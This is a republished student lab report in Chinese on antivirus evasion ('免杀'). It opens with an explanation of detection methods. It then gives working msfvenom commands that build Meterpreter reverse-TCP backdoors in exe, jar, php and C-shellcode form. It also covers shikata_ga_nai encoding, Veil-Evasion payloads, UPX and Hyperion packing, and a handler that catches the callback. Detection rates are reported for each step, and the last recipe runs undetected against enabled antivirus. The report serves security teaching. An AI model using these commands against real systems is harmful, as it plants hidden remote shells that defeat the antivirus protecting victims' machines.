ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

20174321王柏舟-Ep3-免杀原理与实践

2020-04-03 14:03:13  阅读:300  来源: 互联网

标签:文件 exe 免杀 4321 检测 恶意软件 Ep3 20174321 shellcode


 一、实验原理

 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

1.恶意软件检测机制

  • 1.1 基于特征码的检测
  • 1.2 启发式恶意软件检测
  • 1.3 基于行为的恶意软件检测

1.1 基于特征码的检测

简单来说一段特征码就是一段或多段数据如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。

1.2 启发式恶意软件检测

启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判

1.3 基于行为的恶意软件检测

从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。

2.免杀技术

  • 改变特征码
  • 改变行为
  • 非常规方法

2.1 改变特征码

如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译

2.2 改变行为

  • 通讯方式:反弹式连接、隧道技术、加密通讯数据;
  • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

2.3 非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件。

二、实验过程

(一)正确使用msf编码器

1.后门文件检测

上次实验中生成了meter_backdoor的后门文件。

将其放在virustotal.com中进行扫描,结果如下图所示:

检出率为58/71,即71个扫描引擎中有58个把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。

 在Virscan中扫描结果如下图所示:

2.msf编码(使用msf编码器对后门程序进行编码后再检测)

 Step1:终端输入 msfconsole 进入mfs,生成fool4321.exe并对后门程序进行编码(编码一次)

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.246.137 LPORT=4321 -f exe > fool4321.exe 

将文件复制到Windows中,杀毒软件会提示该文件是木马文件,选择将其找回。

将编码过的可执行文件fool4321.exe放到virustotal.com中进行扫描:

检出率为56/71,比没有编码前降低了一点,效果可以忽略。

Step2:用-i 指定次数为10,生成4321back1.exe并对后门程序进行编码(编码十次)

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.246.137 LPORT=4321 -f exe > 4321back1.exe 

将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,选择找回。

在VirusTotal中检测:

检出率为56/71,和一次编码的效果没有差别。可见利用编码次数来达到免杀效果显然是不行的。

(二)msf生成如jar之类的其他文件

1.生成jar文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 x> 4321back1_java.jar 生成jar文件:

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为35/61,和exe比起来jar格式文件明显少了很多。

 2.生成php文件

使用命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 x> 4321back1.php 生成php文件。

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为3/58,效果特别好。

(三)使用veil-evasion生成后门程序及检测

 1.Veil-Evasion安装

Veil用于创建可被Meterpreter调用的Python程序。

下载方法有很多,可以wget下载,也可以git克隆,我选择了git克隆。具体方法如下:(参考博文

cd /opt/
git clone https://github.com/veil-evasion/Veil.git
cd ./Veil/setup
./setup.sh

这是我选择的第二种方法,期间碰到的一些问题及解决方法在后面详细说明。

2.生成文件

输入 veil 打开软件,输入 use evasion 进入veil-evasion:

进入到菜单界面可以看到当前一共有 41 种 payload 可用。

输入 use c/meterpreter/rev_tcp.py 进入配置:

set LHOST 192.168.246.137     //kali的IP地址
set LPORT 4321                //端口号
generate                      //生成文件

输入文件名 4321w,可以看到文件4321w.exe的位置路径:

将文件放到win中指定位置,再放到virustotal.com中扫描:

 

检出率为48/72。

(四)c+shellcode编程

执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 -f c ,得到一段shellcode编码。

 touch 新建一个4321_shellcode.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

执行  i686-w64-mingw32-g++ 4321_shellcode.c -o 4321_shellcode.exe 将c文件转换为可在64位windows系统下操作的exe可执行文件。

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为43/72。

(五)加壳

1.upx

本实验利用upx实现加壳,方法是:upx #需加壳的原文件 -o #加壳生成文件

输入 upx 4321_shellcode.exe -o 4321_jiake.exe 生成加壳文件4321_jiake.exe。

在Windows端运行加壳文件,kali打开msf监控测试:

回连成功。

把加壳之后得到的程序放到virustotal.com上扫描:

检出率为38/72。效果非常好。

2.HYPERION

安装好hyperion后加密壳: wine hyperion.exe -v 4321_jiake.exe 4321_jiake_hyperion.exe 

将文件放到win中指定位置,杀毒软件提示该文件是木马文件,选择找回。

但是可以成功反弹回连。

再放到virustotal.com中扫描:

检出率51/71,免杀效果还不如加壳。

(六)其他方法

采用Veil-Evasion的其他荷载生成后门

进入到evasion中,用list查看可用的有效荷载:

 

选择第32个荷载: use 32 (Phython下shellcode在DES下加密的一种)

用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。

输入文件名w4321,选择Py2Exe生成exe文件。

将文件放到win中指定位置,再放到virustotal.com中扫描:

检出率为0/58!

 (七)组合技术实现免杀&(八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

使用shellcode_launcher(一种效果最好的shellcode加载器)实现免杀

  • 使用Msfvenom生成raw格式的shellcode:

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.246.137 lport=4321 -f raw -o 4321.raw 

  • 打开msfconsole进行监听:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.246.137//Linux端的IP地址 
set LPORT 4321//与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入 shellcode_launcher.exe -i 4321.raw
  • 成功回连,杀软没有扫描出来木马病毒。
  • Windows版本:Windows 10
  • 杀软:金山毒霸


 三、思考题

1.杀软是如何检测出恶意代码的?

(1)基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含特定的数据则被认为是恶意代码。

      (2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

      (3)基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,进行检测,如果发现了病毒行为,立即报警。

2.免杀是做什么?

通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,使得恶意代码能够不被杀毒软件所检测和查杀。

3.免杀的基本方法有哪些?

(1)改变特征码

    • 只有exe
      • 加壳:压缩壳,加密壳
    • 有shellcode
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)

(2)改变行为

    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码。

4.开启杀软能绝对防止电脑中恶意代码吗?

开启杀软不能绝对防止电脑中恶意代码,但是及时更新是可以降低中毒的几率的。


四、问题及解决办法

 1.安装好veil后提示:

按照提示run了一下 /usr/share/veil/config/setup.sh --force --silent 代码又跑了一遍重新安装wine,之后veil安装成功。

2.

我的kali里没有自带的mingw-w64,需要sudo apt-get install mingw-w64来安装。


五、实验心得体会

这次实验中尝试了很多免杀方法,有些无截图就没有写到报告里。每次实验都会遇到大大小小的问题,让人非常崩溃。但是花费足够多的时间和精力后,问题又会顺利解决或者莫名其妙消失。在解决问题的过程中,我学习到了不少实验内容以外的kali linux知识。另外经过实验我了解到杀毒软件并不是特别可靠,我通过一些简单步骤生成的木马病毒无法被识别,需要我们及时更新杀软、及时进行电脑体检,提高安全意识。

标签:文件,exe,免杀,4321,检测,恶意软件,Ep3,20174321,shellcode
来源: https://www.cnblogs.com/w574/p/12617765.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有